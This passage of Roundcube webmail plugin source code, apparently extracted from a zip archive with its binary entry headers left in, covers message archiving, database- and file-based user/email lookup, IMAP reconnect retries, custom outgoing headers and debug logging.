        $archive_type   = $rcmail->config->get('archive_type', '');
        $archive_prefix = $this->archive_folder . $delimiter;
        $search_request = rcube_utils::get_input_string('_search', rcube_utils::INPUT_GPC);
        $from_show_action = !empty($_POST['_from']) && $_POST['_from'] == 'show';

        // count messages before changing anything
        $old_count = 0;
        if (!$from_show_action) {
            $old_count = $storage->count(null, $threading ? 'THREADS' : 'ALL');
        }

        $sort_col = rcmail_action_mail_index::sort_column();
        $sort_ord = rcmail_action_mail_index::sort_order();
        $count    = 0;
        $uids     = null;

        // this way response handler for 'move' action will be executed
        $rcmail->action = 'move';
        $this->result   = [
            'reload'       => false,
            'error'        => false,
            'sources'      => [],
            'destinations' => [],
        ];

        foreach (rcmail::get_uids(null, null, $multifolder, rcube_utils::INPUT_POST) as $mbox => $uids) {
            if (!$this->archive_folder || $mbox === $this->archive_folder || strpos($mbox, $archive_prefix) === 0) {
                $count = count($uids);
                continue;
            }
            else if (!$archive_type || $archive_type == 'folder') {
                $folder = $this->archive_folder;

                if ($archive_type == 'folder') {
                    // compose full folder path
                    $folder .= $delimiter . $mbox;
                }

                // create archive subfolder if it doesn't yet exist
                $this->subfolder_worker($folder);

                $count += $this->move_messages_worker($uids, $mbox, $folder, $read_on_move);
            }
            else {
                if ($uids == '*') {
                    $index = $storage->index(null, $sort_col, $sort_ord);
                    $uids  = $index->get();
                }

                $messages = $storage->fetch_headers($mbox, $uids);
                $execute  = [];

                foreach ($messages as $message) {
                    $subfolder = null;
                    switch ($archive_type) {
                    case 'year':
                        $subfolder = $rcmail->format_date($message->timestamp, 'Y');
                        break;

                    case 'month':
                        $subfolder = $rcmail->format_date($message->timestamp, 'Y')
                            . $delimiter . $rcmail->format_date($message->timestamp, 'm');
                        break;

                    case 'tbmonth':
                        $subfolder = $rcmail->format_date($message->timestamp, 'Y')
                            . $delimiter . $rcmail->format_date($message->timestamp, 'Y')
                            . '-' . $rcmail->format_date($message->timestamp, 'm');
                        break;

                    case 'sender':
                        $subfolder = $this->sender_subfolder($message->get('from'));
                        break;

                    case 'folderyear':
                        $subfolder = $rcmail->format_date($message->timestamp, 'Y')
                            . $delimiter . $mbox;
                        break;

                    case 'foldermonth':
                        $subfolder = $rcmail->format_date($message->timestamp, 'Y')
                            . $delimiter . $rcmail->format_date($message->timestamp, 'm')
                            . $delimiter . $mbox;
                        break;
                    }

                    // compose full folder path
                    $folder = $this->archive_folder . ($subfolder ? $delimiter . $subfolder : '');

                    $execute[$folder][] = $message->uid;
                }

                foreach ($execute as $folder => $uids) {
                    // create archive subfolder if it doesn't yet exist
                    $this->subfolder_worker($folder);

                    $count += $this->move_messages_worker($uids, $mbox, $folder, $read_on_move);
                }
            }
        }

        if ($this->result['error']) {
            if (!$from_show_action) {
                $rcmail->output->command('list_mailbox');
            }

            $rcmail->output->show_message($this->gettext('archiveerror'), 'warning');
            $rcmail->output->send();
        }

        if (!empty($_POST['_refresh'])) {
            // FIXME: send updated message rows instead of reloading the entire list
            $rcmail->output->command('refresh_list');
            $addrows = false;
        }
        else {
            $addrows = true;
        }

        // refresh saved search set after moving some messages
        if ($search_request && $rcmail->storage->get_search_set()) {
            $_SESSION['search'] = $rcmail->storage->refresh_search();
        }

        if ($from_show_action) {
            if ($next = rcube_utils::get_input_string('_next_uid', rcube_utils::INPUT_GPC)) {
                $rcmail->output->command('show_message', $next);
            }
            else {
                $rcmail->output->command('command', 'list');
            }

            $rcmail->output->send();
        }

        $mbox           = $storage->get_folder();
        $msg_count      = $storage->count(null, $threading ? 'THREADS' : 'ALL');
        $exists         = $storage->count($mbox, 'EXISTS', true);
        $page_size      = $storage->get_pagesize();
        $page           = $storage->get_page();
        $pages          = ceil($msg_count / $page_size);
        $nextpage_count = $old_count - $page_size * $page;
        $remaining      = $msg_count - $page_size * ($page - 1);
        $quota_root     = $multifolder ? $this->result['sources'][0] : 'INBOX';
        $jump_back      = false;

        // jump back one page (user removed the whole last page)
        if ($page > 1 && $remaining == 0) {
            $page -= 1;
            $storage->set_page($page);
            $_SESSION['page'] = $page;
            $jump_back = true;
        }

        // update unread messages counts for all involved folders
        foreach ($this->result['sources'] as $folder) {
            rcmail_action_mail_index::send_unread_count($folder, true);
        }

        // update message count display
        $rcmail->output->set_env('messagecount', $msg_count);
        $rcmail->output->set_env('current_page', $page);
        $rcmail->output->set_env('pagecount', $pages);
        $rcmail->output->set_env('exists', $exists);
        $rcmail->output->command('set_quota', rcmail_action::quota_content(null, $quota_root));
        $rcmail->output->command('set_rowcount', rcmail_action_mail_index::get_messagecount_text($msg_count), $mbox);

        if ($threading) {
            $count = rcube_utils::get_input_string('_count', rcube_utils::INPUT_POST);
        }

        // add new rows from next page (if any)
        if ($addrows && $count && $uids != '*' && ($jump_back || $nextpage_count > 0)) {
            // #5862: Don't add more rows than it was on the next page
            $count = $jump_back ? null : min($nextpage_count, $count);

            $a_headers = $storage->list_messages($mbox, null, $sort_col, $sort_ord, $count);

            rcmail_action_mail_index::js_message_list($a_headers, false);
        }

        if ($this->result['reload']) {
            $rcmail->output->show_message($this->gettext('archivedreload'), 'confirmation');
        }
        else {
            $rcmail->output->show_message($this->gettext('archived'), 'confirmation');

            if (!$read_on_move) {
                foreach ($this->result['destinations'] as $folder) {
                    rcmail_action_mail_index::send_unread_count($folder, true);
                }
            }
        }

        // send response
        $rcmail->output->send();
    }

    /**
     * Move messages from one folder to another and mark as read if needed
     */
    private function move_messages_worker($uids, $from_mbox, $to_mbox, $read_on_move)
    {
        $storage = rcmail::get_instance()->get_storage();

        if ($read_on_move) {
            // don't flush cache (4th argument)
            $storage->set_flag($uids, 'SEEN', $from_mbox, true);
        }

        // move message to target folder
        if ($storage->move_message($uids, $to_mbox, $from_mbox)) {
            if (!in_array($from_mbox, $this->result['sources'])) {
                $this->result['sources'][] = $from_mbox;
            }
            if (!in_array($to_mbox, $this->result['destinations'])) {
                $this->result['destinations'][] = $to_mbox;
            }

            return count($uids);
        }

        $this->result['error'] = true;
    }

    /**
     * Create archive subfolder if it doesn't yet exist
     */
    private function subfolder_worker($folder)
    {
        $storage   = rcmail::get_instance()->get_storage();
        $delimiter = $storage->get_hierarchy_delimiter();

        if ($this->folders === null) {
            $this->folders = $storage->list_folders('', $this->archive_folder . '*', 'mail', null, true);
        }

        if (!in_array($folder, $this->folders)) {
            $path = explode($delimiter, $folder);

            // we'll create all folders in the path
            for ($i=0; $i<count($path); $i++) {
                $_folder = implode($delimiter, array_slice($path, 0, $i+1));
                if (!in_array($_folder, $this->folders)) {
                    if ($storage->create_folder($_folder, true)) {
                        $this->result['reload'] = true;
                        $this->folders[] = $_folder;
                    }
                }
            }
        }
    }

    /**
     * Hook to inject plugin-specific user settings
     *
     * @param array $args Hook arguments
     *
     * @return array Modified hook arguments
     */
    function prefs_table($args)
    {
        $this->add_texts('localization');

        $rcmail        = rcmail::get_instance();
        $dont_override = $rcmail->config->get('dont_override', []);

        if ($args['section'] == 'folders' && !in_array('archive_mbox', $dont_override)) {
            $mbox = $rcmail->config->get('archive_mbox');
            $type = $rcmail->config->get('archive_type');

            // load folders list when needed
            if ($args['current']) {
                $select = rcmail_action::folder_selector([
                        'noselection'   => '---',
                        'realnames'     => true,
                        'maxlength'     => 30,
                        'folder_filter' => 'mail',
                        'folder_rights' => 'w',
                        'onchange'      => "if ($(this).val() == 'INBOX') $(this).val('')",
                        'class'         => 'custom-select',
                ]);
            }
            else {
                $select = new html_select();
            }

            $args['blocks']['main']['options']['archive_mbox'] = [
                'title'   => html::label('_archive_mbox', rcube::Q($this->gettext('archivefolder'))),
                'content' => $select->show($mbox, ['id' => '_archive_mbox', 'name' => '_archive_mbox'])
            ];

            // If the server supports only either messages or folders in a folder
            // we do not allow archive splitting, for simplicity (#5057)
            if ($rcmail->get_storage()->get_capability(rcube_storage::DUAL_USE_FOLDERS)) {
                // add option for structuring the archive folder
                $archive_type = new html_select(['name' => '_archive_type', 'id' => 'ff_archive_type', 'class' => 'custom-select']);
                $archive_type->add($this->gettext('none'), '');
                $archive_type->add($this->gettext('archivetypeyear'), 'year');
                $archive_type->add($this->gettext('archivetypemonth'), 'month');
                $archive_type->add($this->gettext('archivetypetbmonth'), 'tbmonth');
                $archive_type->add($this->gettext('archivetypesender'), 'sender');
                $archive_type->add($this->gettext('archivetypefolder'), 'folder');
                $archive_type->add($this->gettext('archivetypefolderyear'), 'folderyear');
                $archive_type->add($this->gettext('archivetypefoldermonth'), 'foldermonth');

                $args['blocks']['archive'] = [
                    'name'    => rcube::Q($this->gettext('settingstitle')),
                    'options' => [
                        'archive_type' => [
                            'title'   => html::label('ff_archive_type', rcube::Q($this->gettext('archivetype'))),
                            'content' => $archive_type->show($type)
                        ]
                    ]
                ];
            }
        }
        else if ($args['section'] == 'server' && !in_array('read_on_archive', $dont_override)) {
            $chbox = new html_checkbox(['name' => '_read_on_archive', 'id' => 'ff_read_on_archive', 'value' => 1]);
            $args['blocks']['main']['options']['read_on_archive'] = [
                'title'   => html::label('ff_read_on_archive', rcube::Q($this->gettext('readonarchive'))),
                'content' => $chbox->show($rcmail->config->get('read_on_archive') ? 1 : 0)
            ];
        }

        return $args;
    }

    /**
     * Hook to save plugin-specific user settings
     *
     * @param array $args Hook arguments
     *
     * @return array Modified hook arguments
     */
    function prefs_save($args)
    {
        $rcmail        = rcmail::get_instance();
        $dont_override = $rcmail->config->get('dont_override', []);

        if ($args['section'] == 'folders' && !in_array('archive_mbox', $dont_override)) {
            $args['prefs']['archive_type'] = rcube_utils::get_input_string('_archive_type', rcube_utils::INPUT_POST);
        }
        else if ($args['section'] == 'server' && !in_array('read_on_archive', $dont_override)) {
            $args['prefs']['read_on_archive'] = (bool) rcube_utils::get_input_value('_read_on_archive', rcube_utils::INPUT_POST);
        }

        return $args;
    }

    /**
     * Create folder name from the message sender address
     */
    protected function sender_subfolder($from)
    {
        static $delim;
        static $vendor;
        static $skip_hidden;

        preg_match('/[\b<](.+@.+)[\b>]/i', $from, $m);

        if (empty($m[1])) {
            return $this->gettext('unkownsender');
        }

        if ($delim === null) {
            $rcmail      = rcmail::get_instance();
            $storage     = $rcmail->get_storage();
            $delim       = $storage->get_hierarchy_delimiter();
            $vendor      = $storage->get_vendor();
            $skip_hidden = $rcmail->config->get('imap_skip_hidden_folders');
        }

        // Remove some forbidden characters
        $regexp = '\\x00-\\x1F\\x7F%*';

        if ($vendor == 'cyrus') {
            // List based on testing Kolab's Cyrus-IMAP 2.5
            $regexp .= '!`(){}|\\?<;"';
        }

        $folder_name = preg_replace("/[$regexp]/", '', $m[1]);

        if ($skip_hidden && $folder_name[0] == '.') {
            $folder_name = substr($folder_name, 1);
        }

        $replace = $delim == '-' ? '_' : '-';
        $replacements = [$delim => $replace];

        // Cyrus-IMAP does not allow @ character in folder name
        if ($vendor == 'cyrus') {
            $replacements['@'] = $replace;
        }

        // replace reserved characters in folder name
        return strtr($folder_name, $replacements);
    }
}
PKh�\��P��)plugins/virtuser_query/virtuser_query.phpnu�[���<?php

/**
 * DB based User-to-Email and Email-to-User lookup
 *
 * Add it to the plugins list in config.inc.php and set
 * SQL queries to resolve usernames, e-mail addresses and hostnames from the database
 * %u will be replaced with the current username for login.
 * %m will be replaced with the current e-mail address for login.
 *
 * Queries should select the user's e-mail address, username or the imap hostname as first column
 * The email query could optionally select identity data columns in specified order:
 *    name, organization, reply-to, bcc, signature, html_signature
 *
 * $config['virtuser_query'] = ['email' => '', 'user' => '', 'host' => '', 'alias' => ''];
 *
 * The email query can return more than one record to create more identities.
 * This requires identities_level option to be set to value less than 2.
 *
 * By default Roundcube database is used. To use different database (or host)
 * you can specify DSN string in $config['virtuser_query_dsn'] option.
 *
 * @author Aleksander Machniak <alec@alec.pl>
 * @author Steffen Vogel
 * @author Tim Gerundt
 * @license GNU GPLv3+
 */
class virtuser_query extends rcube_plugin
{
    private $config;
    private $app;
    private $db;

    function init()
    {
        $this->app    = rcmail::get_instance();
        $this->config = $this->app->config->get('virtuser_query');

        if (!empty($this->config)) {
            if (is_string($this->config)) {
                $this->config = ['email' => $this->config];
            }

            if (!empty($this->config['email'])) {
                $this->add_hook('user2email', [$this, 'user2email']);
            }
            if (!empty($this->config['user'])) {
                $this->add_hook('email2user', [$this, 'email2user']);
            }
            if (!empty($this->config['host'])) {
                $this->add_hook('authenticate', [$this, 'user2host']);
            }
            if (!empty($this->config['alias'])) {
                $this->add_hook('authenticate', [$this, 'alias2user']);
            }
        }
    }

    /**
     * User > Email
     */
    function user2email($p)
    {
        $dbh = $this->get_dbh();

        $sql_result = $dbh->query(preg_replace('/%u/', $dbh->escape($p['user']), $this->config['email']));
        $result     = [];

        while ($sql_arr = $dbh->fetch_array($sql_result)) {
            if (strpos($sql_arr[0], '@')) {
                if (!empty($p['extended']) && count($sql_arr) > 1) {
                    $result[] = [
                        'email'          => rcube_utils::idn_to_ascii($sql_arr[0]),
                        'name'           => $sql_arr[1] ?? '',
                        'organization'   => $sql_arr[2] ?? '',
                        'reply-to'       => isset($sql_arr[3]) ? rcube_utils::idn_to_ascii($sql_arr[3]) : '',
                        'bcc'            => isset($sql_arr[4]) ? rcube_utils::idn_to_ascii($sql_arr[4]) : '',
                        'signature'      => $sql_arr[5] ?? '',
                        'html_signature' => isset($sql_arr[6]) ? intval($sql_arr[6]) : 0,
                    ];
                }
                else {
                    $result[] = $sql_arr[0];
                }

                if (!empty($p['first'])) {
                    break;
                }
            }
        }

        $p['email'] = $result;

        return $p;
    }

    /**
     * EMail > User
     */
    function email2user($p)
    {
        $dbh = $this->get_dbh();

        $sql_result = $dbh->query(preg_replace('/%m/', $dbh->escape($p['email']), $this->config['user']));

        if ($sql_arr = $dbh->fetch_array($sql_result)) {
            $p['user'] = $sql_arr[0];
        }

        return $p;
    }

    /**
     * User > Host
     */
    function user2host($p)
    {
        $dbh = $this->get_dbh();

        $sql_result = $dbh->query(preg_replace('/%u/', $dbh->escape($p['user']), $this->config['host']));

        if ($sql_arr = $dbh->fetch_array($sql_result)) {
            $p['host'] = $sql_arr[0];
        }

        return $p;
    }

    /**
     * Alias > User
     */
    function alias2user($p)
    {
        $dbh = $this->get_dbh();

        $sql_result = $dbh->query(preg_replace('/%u/', $dbh->escape($p['user']), $this->config['alias']));

        if ($sql_arr = $dbh->fetch_array($sql_result)) {
            $p['user'] = $sql_arr[0];
        }

        return $p;
    }

    /**
     * Initialize database handler
     */
    function get_dbh()
    {
        if (!$this->db) {
            if ($dsn = $this->app->config->get('virtuser_query_dsn')) {
                // connect to the virtuser database
                $this->db = rcube_db::factory($dsn);
                $this->db->set_debug((bool)$this->app->config->get('sql_debug'));
                $this->db->db_connect('r'); // connect in read mode
            }
            else {
                $this->db = $this->app->get_dbh();
            }
        }

        return $this->db;
    }
}
PKh�\&�+�ww$plugins/virtuser_query/composer.jsonnu�[���{
    "name": "roundcube/virtuser_query",
    "type": "roundcube-plugin",
    "description": "Plugin adds possibility to resolve user email/login according to lookup tables in SQL database.",
    "license": "GPL-3.0-or-later",
    "version": "2.0",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�H�plugins/reconnect/readme.mdnu�[���# RoundCube Reconnect Plugin

RoundCube reconnect Plugin is a small plugin that will try to reconnect to an
IMAP server, if there is no explicit error code replied. If there is a know
failure like wrong password, no additional attempts are triggered. This should
help in cases, when the connection to the IMAP server is not 100% stable.

## Configuration

You can specify the maximum attempts to connect the IMAP server.

  // Maximum attempts to connect the IMAP server
  $config['reconnect_imap_max_attempts'] = 5;
PKh�\k{0plugins/reconnect/composer.jsonnu�[���{
    "name": "reconnect",
    "type": "roundcube-plugin",
    "description": "Reconnects to server for several attempts.",
    "license": "GPL-3.0-or-later",
    "version": "0.2",
    "authors": [
        {
            "name": "Sandro Knauß",
            "email": "hefee@debian.org"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�;�\��plugins/reconnect/reconnect.phpnu�[���<?php
/**
 * Roundcube Reconnect Plugin
 *
 * @version 0.2
 * @author Sandro Knauß <hefee@debian.org>
 * @license GPLv3+
 */
class reconnect extends rcube_plugin
{
    private $imap_max_attempts;

    /**
     * Plugin initialization
     */
    function init()
    {
        $this->add_hook('storage_connect', [$this, 'storage_connect']);
    }

    /**
     * Storage_connect hook handler
     */
    function storage_connect($args)
    {
        $rcmail = rcmail::get_instance();

        $this->load_config();

        $this->imap_max_attempts = $rcmail->config->get('reconnect_imap_max_attempts', 5);

        $args['retry'] = ($args['attempt'] <= $this->imap_max_attempts);

        if ($args['attempt'] == 1) {
            return $args;
        }

        $storage = rcmail::get_instance()->get_storage();

        switch ($storage->get_error_code()) {
        case rcube_imap_generic::ERROR_NO:
        case rcube_imap_generic::ERROR_BAD:
        case rcube_imap_generic::ERROR_BYE:
            $args['retry'] = false;
            break;
        }

        if ($args['retry']) {
            // if we do a new attempt, sleep 50 to 150ms before retry.
            usleep(rand(50*1000, 150*1000));
        }

        return $args;
    }
}
PKh�\�bb%plugins/reconnect/config.inc.php.distnu�[���<?php

// Maximum attempts to connect the IMAP server
$config['reconnect_imap_max_attempts'] = 5;
PKh�\�t�oo#plugins/virtuser_file/composer.jsonnu�[���{
    "name": "roundcube/virtuser_file",
    "type": "roundcube-plugin",
    "description": "Plugin adds possibility to resolve user email/login according to lookup tables in files.",
    "license": "GPL-3.0-or-later",
    "version": "1.0",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\#���

'plugins/virtuser_file/virtuser_file.phpnu�[���<?php

/**
 * File based User-to-Email and Email-to-User lookup
 *
 * Add it to the plugins list in config.inc.php and set
 * path to a virtuser table file to resolve user names and e-mail
 * addresses
 * $rcmail['virtuser_file'] = '';
 *
 * @license GNU GPLv3+
 * @author Aleksander Machniak
 */
class virtuser_file extends rcube_plugin
{
    private $file;
    private $app;

    /**
     * Plugin initialization
     */
    function init()
    {
        $this->app  = rcmail::get_instance();
        $this->file = $this->app->config->get('virtuser_file');

        if ($this->file) {
            $this->add_hook('user2email', [$this, 'user2email']);
            $this->add_hook('email2user', [$this, 'email2user']);
        }
    }

    /**
     * User > Email
     */
    function user2email($p)
    {
        $r = $this->findinvirtual('/\s' . preg_quote($p['user'], '/') . '\s*$/');
        $result = [];

        for ($i=0; $i<count($r); $i++) {
            $arr = preg_split('/\s+/', $r[$i]);

            if (count($arr) > 0 && strpos($arr[0], '@')) {
                $result[] = rcube_utils::idn_to_ascii(trim(str_replace('\\@', '@', $arr[0])));

                if (!empty($p['first'])) {
                    $p['email'] = $result[0];
                    break;
                }
            }
        }

        $p['email'] = empty($result) ? null : $result;

        return $p;
    }

    /**
     * Email > User
     */
    function email2user($p)
    {
        $r = $this->findinvirtual('/^' . preg_quote($p['email'], '/') . '\s/');

        for ($i=0; $i<count($r); $i++) {
            $arr = preg_split('/\s+/', trim($r[$i]));

            if (count($arr) > 0) {
                $p['user'] = trim($arr[count($arr)-1]);
                break;
            }
        }

        return $p;
    }

    /**
     * Find matches of the given pattern in virtuser file
     *
     * @param string $pattern Regular expression to search for
     *
     * @return array Matching entries
     */
    private function findinvirtual($pattern)
    {
        $result  = [];
        $virtual = null;

        if ($this->file) {
            $virtual = file($this->file);
        }

        if (empty($virtual)) {
            return $result;
        }

        // check each line for matches
        foreach ($virtual as $line) {
            $line = trim($line);
            if (empty($line) || $line[0] == '#') {
                continue;
            }

            if (preg_match($pattern, $line)) {
                $result[] = $line;
            }
        }

        return $result;
    }
}
PKh�\���3��0plugins/additional_message_headers/composer.jsonnu�[���{
    "name": "roundcube/additional_message_headers",
    "type": "roundcube-plugin",
    "description": "Very simple plugin which will add additional headers to or remove them from outgoing messages.",
    "license": "GPL-3.0-or-later",
    "version": "1.2.1",
    "authors": [
        {
            "name": "Ziba Scott",
            "email": "email@example.org",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\]��]]Aplugins/additional_message_headers/additional_message_headers.phpnu�[���<?php

/**
 * Additional Message Headers
 *
 * Very simple plugin which will add additional headers
 * to or remove them from outgoing messages.
 *
 * Enable the plugin in config.inc.php and add your desired headers:
 * $config['additional_message_headers'] = ['User-Agent' => 'My-Very-Own-Webmail'];
 *
 * @author Ziba Scott
 * @website http://roundcube.net
 */
class additional_message_headers extends rcube_plugin
{
    /**
     * Plugin initialization
     */
    function init()
    {
        $this->add_hook('message_before_send', [$this, 'message_headers']);
    }

    /**
     * 'message_before_send' hook handler
     *
     * @param array $args Hook arguments
     *
     * @return array Modified hook arguments
     */
    function message_headers($args)
    {
        $this->load_config();

        $rcube = rcube::get_instance();

        // additional email headers
        $additional_headers = $rcube->config->get('additional_message_headers', []);

        if (!empty($additional_headers)) {
            $args['message']->headers($additional_headers, true);
        }

        return $args;
    }
}
PKh�\����<<6plugins/additional_message_headers/config.inc.php.distnu�[���<?php

// $config['additional_message_headers']['X-Remote-Browser'] = $_SERVER['HTTP_USER_AGENT'];
// $config['additional_message_headers']['X-Originating-IP'] = '[' . $_SERVER['REMOTE_ADDR'] .']';
// $config['additional_message_headers']['X-RoundCube-Server'] = $_SERVER['SERVER_ADDR'];

// if( isset( $_SERVER['MACHINE_NAME'] )) {
//     $config['additional_message_headers']['X-RoundCube-Server'] .= ' (' . $_SERVER['MACHINE_NAME'] . ')';
// }

// To remove (e.g. X-Sender) message header use null value
// $config['additional_message_headers']['X-Sender'] = null;

?>
PKh�\����??&plugins/debug_logger/runlog/runlog.phpnu�[���<?php

/**
 * runlog
 *
 * @author Ziba Scott <ziba@umich.edu>
 */
class runlog {

    private $start_time     = false;
    private $parent_stack   = [];
    private $file_handles   = [];
    private $debug_messages = [];
    private $indent         = 0;
    private $run_log        = [];

    public $print_to_console = false;
    public $threshold        = 0;
    public $tag_count        = [];
    public $timestamp        = "d-M-Y H:i:s O";
    public $max_line_size    = 150;

    function __construct()
    {
        $this->start_time = microtime(true);
    }

    public function start($name, $tag = false)
    {
        $this->run_log[] = [
            'type'    => 'start',
            'tag'     => $tag,
            'index'   => count($this->run_log),
            'value'   => $name,
            'time'    => microtime(true),
            'parents' => $this->parent_stack,
            'ended'   => false,
        ];

        $this->parent_stack[] = $name;

        $this->print_to_console("start: ".$name, $tag);
        $this->print_to_file("start: ".$name, $tag);
        $this->indent++;
    }

    public function end()
    {
        $name  = array_pop($this->parent_stack);
        $lastk = 0;

        foreach ($this->run_log as $k => $entry) {
            if ($entry['value'] == $name && $entry['type'] == 'start' && !$entry['ended']) {
                $lastk = $k;
            }
        }

        $start = $this->run_log[$lastk]['time'];
        $this->run_log[$lastk]['duration'] = microtime(true) - $start;
        $this->run_log[$lastk]['ended'] = true;
        $this->run_log[] = [
            'type'     => 'end',
            'tag'      =>  $this->run_log[$lastk]['tag'],
            'index'    => $lastk,
            'value'    => $name,
            'time'     => microtime(true),
            'duration' => microtime(true) - $start,
            'parents'  => $this->parent_stack,
        ];

        $this->indent--;
        if ($this->run_log[$lastk]['duration'] >= $this->threshold) {
            $tag_report = "";
            foreach ($this->tag_count as $tag => $count){
                $tag_report .= "$tag: $count, ";
            }
            $end_txt = sprintf("end: $name - %0.4f seconds $tag_report", $this->run_log[$lastk]['duration']);
            $this->print_to_console($end_txt, $this->run_log[$lastk]['tag']);
            $this->print_to_file($end_txt,  $this->run_log[$lastk]['tag']);
        }
    }

    public function increase_tag_count($tag)
    {
        if (!isset($this->tag_count[$tag])) {
            $this->tag_count[$tag] = 0;
        }

        $this->tag_count[$tag]++;
    }

    public function get_text()
    {
        $text = "";
        foreach ($this->run_log as $entry){
            $text .= str_repeat("   ", count($entry['parents']));
            if ($entry['tag'] != 'text') {
                $text .= $entry['tag'] . ': ';
            }
            $text .= $entry['value'];

            if ($entry['tag'] == 'end') {
                $text .= sprintf(" - %0.4f seconds", $entry['duration']);
            }

            $text .= "\n";
        }

        return $text;
    }

    public function set_file($filename, $tag = 'master')
    {
        if (!isset($this->file_handles[$tag])) {
            $this->file_handles[$tag] = fopen($filename, 'a');
            if (!$this->file_handles[$tag]) {
                trigger_error("Could not open file for writing: $filename");
            }
        }
    }

    public function note($msg, $tag = false)
    {
        if ($tag) {
            $this->increase_tag_count($tag);
        }
        if (is_array($msg)) {
            $msg = '<pre>' . print_r($msg, true) . '</pre>';
        }
        $this->debug_messages[] = $msg;
        $this->run_log[] = [
            'type'    => 'note',
            'tag'     => $tag ?: 'text',
            'value'   => htmlentities($msg),
            'time'    => microtime(true),
            'parents' => $this->parent_stack,
        ];

        $this->print_to_file($msg, $tag);
        $this->print_to_console($msg, $tag);
    }

    public function print_to_file($msg, $tag = false)
    {
        $file_handle_tag = $tag ?: 'master';

        if ($file_handle_tag != 'master' && isset($this->file_handles[$file_handle_tag])) {
            $buffer = $this->get_indent();
            $buffer .= "$msg\n";
            if (!empty($this->timestamp)) {
                $buffer = sprintf("[%s] %s", date($this->timestamp, time()), $buffer);
            }
            fwrite($this->file_handles[$file_handle_tag], wordwrap($buffer, $this->max_line_size, "\n     "));
        }

        if (isset($this->file_handles['master']) && $this->file_handles['master']) {
            $buffer = $this->get_indent();
            if ($tag) {
                $buffer .= "$tag: ";
            }
            $msg = str_replace("\n", "", $msg);
            $buffer .= "$msg";
            if (!empty($this->timestamp)) {
                $buffer = sprintf("[%s] %s", date($this->timestamp, time()), $buffer);
            }
            if(strlen($buffer) > $this->max_line_size){
                $buffer = substr($buffer,0,$this->max_line_size - 3) . "...";
            }
            fwrite($this->file_handles['master'], $buffer."\n");
        }
    }

    public function print_to_console($msg, $tag = false)
    {
        if ($this->print_to_console) {
            if (is_array($this->print_to_console)) {
                if (in_array($tag, $this->print_to_console)) {
                    echo $this->get_indent();
                    if ($tag) {
                        echo "$tag: ";
                    }
                    echo "$msg\n";
                }
            }
            else {
                echo $this->get_indent();
                if ($tag) {
                    echo "$tag: ";
                }
                echo "$msg\n";
            }
        }
    }

    private function get_indent()
    {
        $buf = "";
        for ($i = 0; $i < $this->indent; $i++) {
            $buf .= "  ";
        }
        return $buf;
    }

    function  __destruct()
    {
        foreach ($this->file_handles as $handle) {
            fclose($handle);
        }
    }
}
PKh�\Z5����"plugins/debug_logger/composer.jsonnu�[���{
    "name": "roundcube/debug_logger",
    "type": "roundcube-plugin",
    "description": "Enhanced logging for debugging purposes. It is not recommended to be enabled on production systems without testing because of the somewhat increased memory, cpu and disk i/o overhead.",
    "license": "GPL-3.0-or-later",
    "version": "1.0",
    "authors": [
        {
            "name": "Ziba Scott",
            "email": "ziba@umich.edu",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\������%plugins/debug_logger/debug_logger.phpnu�[���<?php

/**
 * Debug Logger
 *
 * Enhanced logging for debugging purposes.  It is not recommended
 * to be enabled on production systems without testing because of
 * the somewhat increased memory, cpu and disk i/o overhead.
 *
 * Debug Logger listens for existing rcube::console() calls and
 * introduces start and end tags as well as free form tagging
 * which can redirect messages to files.  The resulting log files
 * provide timing and tag quantity results.
 *
 * Enable the plugin in config.inc.php and add your desired
 * log types and files.
 *
 * @author Ziba Scott
 * @website http://roundcube.net
 *
 * Example:
 *
 *   // $config['debug_logger'][type of logging] = name of file in log_dir
 *   // The 'master' log includes timing information
 *   $config['debug_logger']['master'] = 'master';
 *   // If you want sql messages to also go into a separate file
 *   $config['debug_logger']['sql'] = 'sql';
 *
 * index.php (just after $RCMAIL->plugins->init()):
 *
 *   rcube::console("my test","start");
 *   rcube::console("my message");
 *   rcube::console("my sql calls","start");
 *   rcube::console("cp -r * /dev/null","shell exec");
 *   rcube::console("select * from example","sql");
 *   rcube::console("select * from example","sql");
 *   rcube::console("select * from example","sql");
 *   rcube::console("end");
 *   rcube::console("end");
 *
 * logs/master (after reloading the main page):
 *
 *   [17-Feb-2009 16:51:37 -0500] start: Task: mail.
 *   [17-Feb-2009 16:51:37 -0500]   start: my test
 *   [17-Feb-2009 16:51:37 -0500]     my message
 *   [17-Feb-2009 16:51:37 -0500]     shell exec: cp -r * /dev/null
 *   [17-Feb-2009 16:51:37 -0500]     start: my sql calls
 *   [17-Feb-2009 16:51:37 -0500]       sql: select * from example
 *   [17-Feb-2009 16:51:37 -0500]       sql: select * from example
 *   [17-Feb-2009 16:51:37 -0500]       sql: select * from example
 *   [17-Feb-2009 16:51:37 -0500]     end: my sql calls - 0.0018 seconds shell exec: 1, sql: 3, 
 *   [17-Feb-2009 16:51:37 -0500]   end: my test - 0.0055 seconds shell exec: 1, sql: 3, 
 *   [17-Feb-2009 16:51:38 -0500] end: Task: mail.  - 0.8854 seconds shell exec: 1, sql: 3, 
 *
 * logs/sql (after reloading the main page):
 *
 *   [17-Feb-2009 16:51:37 -0500]       sql: select * from example
 *   [17-Feb-2009 16:51:37 -0500]       sql: select * from example
 *   [17-Feb-2009 16:51:37 -0500]       sql: select * from example
 */
class debug_logger extends rcube_plugin
{
    protected $runlog;

    function init()
    {
